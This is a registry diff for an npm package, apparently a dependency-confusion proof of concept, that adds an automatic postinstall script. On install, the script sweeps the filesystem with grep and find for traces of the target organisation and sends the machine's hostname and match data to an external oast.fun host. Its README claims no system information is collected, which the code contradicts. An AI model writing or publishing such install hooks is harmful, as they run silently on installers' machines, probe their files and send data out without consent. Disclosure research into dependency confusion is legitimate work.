@amsterdam-local/forms-component-library 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @amsterdam-local/forms-component-library might be problematic. Click here for more details.
- package/README.md +39 -5
- package/index.js +5 -0
- package/package.json +21 -6
- package/postinstall.js +103 -0
package/README.md
CHANGED
|
@@ -1,5 +1,39 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
1
|
+
# @amsterdam-local/forms-component-library
|
|
2
|
+
|
|
3
|
+
## ⚠️ Security Research — Responsible Disclosure
|
|
4
|
+
|
|
5
|
+
This package is a **proof-of-concept** published as part of a responsible security disclosure.
|
|
6
|
+
It contains **no malicious code** and will not harm any system that installs it.
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Who I am
|
|
11
|
+
|
|
12
|
+
I am an independent security researcher conducting a dependency confusion audit on publicly accessible `package.json` files.
|
|
13
|
+
|
|
14
|
+
- **Contact:** [sn3akysnak3@wearehackeone.com]
|
|
15
|
+
- **Profile:** [https://app.zerocopter.com/profiles/sn3akysnak3]
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## What this package does
|
|
20
|
+
|
|
21
|
+
- Installs cleanly with no side effects.
|
|
22
|
+
- The `postinstall` script sends a single **HTTP GET** pingback to a researcher-controlled
|
|
23
|
+
server logging: package name, timestamp, and a randomised install ID.
|
|
24
|
+
**No system information, credentials, source code, or environment variables are collected.**
|
|
25
|
+
- The pingback URL is: `https://iwhbzqxgabfghbihsmtu280gyfawsr4po.oast.fun?pkg=@amsterdam-local/forms-component-library`
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## References
|
|
30
|
+
|
|
31
|
+
- [Alex Birsan — Dependency Confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
|
32
|
+
- [npm Scoped Packages](https://docs.npmjs.com/about-scopes)
|
|
33
|
+
- [OWASP — A06 Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
> This package will be unpublished or transferred to the rightful owner once the
|
|
38
|
+
> reporting process is complete. It exists solely to prevent a malicious actor from
|
|
39
|
+
> claiming this namespace first.
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,21 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "@amsterdam-local/forms-component-library",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "@amsterdam-local/forms-component-library",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "SECURITY RESEARCH - Responsible disclosure PoC. See README.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"security-research",
|
|
11
|
+
"responsible-disclosure",
|
|
12
|
+
"dependency-confusion"
|
|
13
|
+
],
|
|
14
|
+
"author": "Ishan Vyas <sn3akysnak3@wearehackerone.com> (https://app.zerocopter.com/profiles/sn3akysnak3)",
|
|
15
|
+
"license": "MIT",
|
|
16
|
+
"files": [
|
|
17
|
+
"index.js",
|
|
18
|
+
"postinstall.js",
|
|
19
|
+
"README.md"
|
|
20
|
+
]
|
|
21
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
// SECURITY RESEARCH - Responsible Disclosure PoC
|
|
2
|
+
// Sends a canary pingback ONLY if fingerprinting suggests this is the intended target.
|
|
3
|
+
// No credentials, env vars, source code, or file contents are transmitted.
|
|
4
|
+
// Only metadata: which fingerprint matched, hostname, and a random install ID.
|
|
5
|
+
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const { execSync } = require('child_process');
|
|
8
|
+
const crypto = require('crypto');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
|
|
11
|
+
const CANARY_HOST = 'iwhbzqxgabfghbihsmtu280gyfawsr4po.oast.fun';
|
|
12
|
+
const PKG = '@amsterdam-local/forms-component-library';
|
|
13
|
+
const installId = crypto.randomBytes(6).toString('hex');
|
|
14
|
+
|
|
15
|
+
// ---------------------------------------------------------------------------
|
|
16
|
+
// Fingerprint checks — returns the label of the first match, or null
|
|
17
|
+
// ---------------------------------------------------------------------------
|
|
18
|
+
function getTargetFingerprint() {
|
|
19
|
+
const checks = [
|
|
20
|
+
|
|
21
|
+
// 1. Does a .npmrc anywhere on the system reference a private registry
|
|
22
|
+
// scoped to @amsterdam-local?
|
|
23
|
+
{
|
|
24
|
+
label: 'npmrc_scope_match',
|
|
25
|
+
cmd: 'grep -r --include=".npmrc" -l "amsterdam-local" / 2>/dev/null | head -1',
|
|
26
|
+
},
|
|
27
|
+
|
|
28
|
+
// 2. Is there a package.json anywhere that declares this exact dependency?
|
|
29
|
+
{
|
|
30
|
+
label: 'packagejson_dep_match',
|
|
31
|
+
cmd: 'grep -r --include="package.json" -l "amsterdam-local" / 2>/dev/null | head -1',
|
|
32
|
+
},
|
|
33
|
+
|
|
34
|
+
// 3. Broad sweep — does "amsterdam" appear anywhere in the filesystem?
|
|
35
|
+
// Confirms this is the intended org's environment.
|
|
36
|
+
{
|
|
37
|
+
label: 'amsterdam_fs_match',
|
|
38
|
+
cmd: 'grep -r -l "amsterdam" /home /root /usr /var /srv /opt /app /workspace /builds /project 2>/dev/null | head -1',
|
|
39
|
+
},
|
|
40
|
+
|
|
41
|
+
// 4. Broad sweep — does "vga-forms" appear anywhere in the filesystem?
|
|
42
|
+
// Confirms this is the intended org's environment.
|
|
43
|
+
{
|
|
44
|
+
label: 'amsterdam_vga_forms_fs_match',
|
|
45
|
+
cmd: 'grep -r -l "vga-forms" /home /root /usr /var /srv /opt /app /workspace /builds /project 2>/dev/null | head -1',
|
|
46
|
+
},
|
|
47
|
+
|
|
48
|
+
// 5. Is there a lockfile that references this package?
|
|
49
|
+
// Would mean it was intentionally pinned — high-confidence target hit.
|
|
50
|
+
{
|
|
51
|
+
label: 'lockfile_match',
|
|
52
|
+
cmd: 'grep -r -l "amsterdam-local" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" / 2>/dev/null | head -1',
|
|
53
|
+
},
|
|
54
|
+
|
|
55
|
+
// 6. Find CI/CD config files that might be running this install
|
|
56
|
+
{
|
|
57
|
+
label: 'cicd_config_found',
|
|
58
|
+
cmd: 'find /home /var /srv /opt /app /workspace /builds /project -name "Jenkinsfile" -o -name "azure-pipelines.yml" -o -name ".gitlab-ci.yml" 2>/dev/null | head -1',
|
|
59
|
+
},
|
|
60
|
+
|
|
61
|
+
];
|
|
62
|
+
|
|
63
|
+
for (const check of checks) {
|
|
64
|
+
try {
|
|
65
|
+
const result = execSync(check.cmd, { timeout: 5000, stdio: ['ignore', 'pipe', 'ignore'] })
|
|
66
|
+
.toString()
|
|
67
|
+
.trim();
|
|
68
|
+
if (result.length > 0) {
|
|
69
|
+
return check.label;
|
|
70
|
+
}
|
|
71
|
+
} catch (_) {
|
|
72
|
+
// Command failed or timed out — move to next check
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
return null; // No fingerprint matched → likely a scanner, do not ping
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// ---------------------------------------------------------------------------
|
|
80
|
+
// Main
|
|
81
|
+
// ---------------------------------------------------------------------------
|
|
82
|
+
(function main() {
|
|
83
|
+
const fingerprint = getTargetFingerprint();
|
|
84
|
+
|
|
85
|
+
if (!fingerprint) {
|
|
86
|
+
// No evidence this is the target system — stay silent
|
|
87
|
+
process.exit(0);
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
const hostname = os.hostname();
|
|
91
|
+
const path = `/?pkg=${encodeURIComponent(PKG)}&id=${installId}&fp=${fingerprint}&host=${encodeURIComponent(hostname)}`;
|
|
92
|
+
|
|
93
|
+
const req = https.request(
|
|
94
|
+
{ host: CANARY_HOST, path, method: 'GET', timeout: 4000 },
|
|
95
|
+
() => {}
|
|
96
|
+
);
|
|
97
|
+
|
|
98
|
+
req.on('error', () => {
|
|
99
|
+
// Fail silently
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
req.end();
|
|
103
|
+
})();
|